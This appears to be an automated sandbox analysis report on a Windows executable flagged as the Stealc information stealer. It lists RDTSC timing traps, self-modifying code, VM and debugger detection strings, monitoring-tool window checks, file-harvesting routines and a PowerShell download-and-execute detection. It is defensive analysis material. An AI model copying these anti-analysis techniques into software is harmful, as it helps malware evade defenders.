Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E1C4 second address: 81E1C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E1C8 second address: 81E1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823D73 second address: 823D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823D79 second address: 823D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F402CC7E50Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823D8C second address: 823DA9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F402CDD4F63h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823DA9 second address: 823DAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823DAF second address: 823DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F402CDD4F66h 0x00000014 jnc 00007F402CDD4F56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DC36 second address: 82DC3C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83006E second address: 83007A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835FC2 second address: 835FE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F402CC7E517h 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836557 second address: 83655F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83655F second address: 836567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836824 second address: 836842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836842 second address: 83685E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F402CC7E516h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8373B9 second address: 8373E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F402CDD4F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F402CDD4F63h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BFF4 second address: 84C013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 jmp 00007F402CC7E516h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C013 second address: 84C02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jbe 00007F402CDD4F56h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C02B second address: 84C031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CFEC second address: 74CFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A17F second address: 85A1DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Ah 0x00000007 jc 00007F402CC7E506h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jbe 00007F402CC7E506h 0x00000016 jmp 00007F402CC7E514h 0x0000001b popad 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 jmp 00007F402CC7E517h 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F402CC7E50Bh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A1DA second address: 85A1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A356 second address: 85A35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A35C second address: 85A361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A361 second address: 85A368 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868F0F second address: 868F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868F15 second address: 868F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869065 second address: 8690C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007F402CDD4F5Fh 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jnp 00007F402CDD4F56h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F402CDD4F63h 0x0000001c jmp 00007F402CDD4F5Ch 0x00000021 popad 0x00000022 jmp 00007F402CDD4F5Fh 0x00000027 pushad 0x00000028 jnc 00007F402CDD4F56h 0x0000002e jo 00007F402CDD4F56h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8691F8 second address: 8691FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8691FC second address: 869200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869200 second address: 86920E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F402CC7E506h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86920E second address: 869219 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869219 second address: 86922B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F402CC7E506h 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86922B second address: 869231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869231 second address: 869237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86951E second address: 869526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B60A second address: 86B62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jne 00007F402CC7E506h 0x0000000b jmp 00007F402CC7E518h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E216 second address: 86E264 instructions: 0x00000000 rdtsc 0x00000002 js 00007F402CDD4F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F402CDD4F63h 0x00000013 mov edx, dword ptr [ebp+122D2BC7h] 0x00000019 push 00000004h 0x0000001b mov dh, bl 0x0000001d call 00007F402CDD4F59h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F402CDD4F68h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E264 second address: 86E2C4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F402CC7E51Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F402CC7E512h 0x00000011 jmp 00007F402CC7E519h 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jnc 00007F402CC7E50Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E2C4 second address: 86E2D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jc 00007F402CDD4F60h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E2D9 second address: 86E2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E2E7 second address: 86E2EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FAD8 second address: 86FAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jne 00007F402CC7E506h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FAE6 second address: 86FAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FAEC second address: 86FB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F402CC7E516h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F402CC7E506h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FB19 second address: 86FB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871C8E second address: 871C9A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F402CC7E506h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871C9A second address: 871CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F402CDD4F56h 0x0000000a jns 00007F402CDD4F56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871CAA second address: 871CB8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757026 second address: 757030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F402CDD4F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757030 second address: 75703C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75703C second address: 75706A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F402CDD4F66h 0x00000008 jbe 00007F402CDD4F56h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007F402CDD4F5Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75706A second address: 75706E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02BB second address: 4ED031A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F402CDD4F60h 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F402CDD4F67h 0x0000001a sbb ah, FFFFFFBEh 0x0000001d jmp 00007F402CDD4F69h 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED031A second address: 4ED0371 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dx, ax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov esi, 30248F1Bh 0x00000011 jmp 00007F402CC7E510h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F402CC7E510h 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, 664DAD30h 0x00000027 jmp 00007F402CC7E519h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03D2 second address: 4ED042B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F402CDD4F62h 0x00000009 or ch, FFFFFF98h 0x0000000c jmp 00007F402CDD4F5Bh 0x00000011 popfd 0x00000012 jmp 00007F402CDD4F68h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c jmp 00007F402CDD4F60h 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED042B second address: 4ED042F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED042F second address: 4ED0433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0433 second address: 4ED0439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0439 second address: 4ED043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED043F second address: 4ED0443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942B2 second address: 7942BC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F402CDD4F5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 762FD8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7889D0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DF0DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7AD8D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 811FB4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E109A rdtsc

0_2_005E109A

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00394910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0038E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0038ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00394570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00393EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00393EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003816D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00381160 GetSystemInfo,ExitProcess,

0_2_00381160

Source: file.exe, file.exe, 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1800775191.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800775191.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13550
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13562
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13547
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13567
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13602

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E109A rdtsc

0_2_005E109A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00399860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399750 mov eax, dword ptr fs:[00000030h]

0_2_00399750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00397850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00399600

Source: file.exe, file.exe, 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: eProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00397B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00396920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00396920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00397850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00397A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00397A30

Stealing of Sensitive Information

Yara detected Stealc

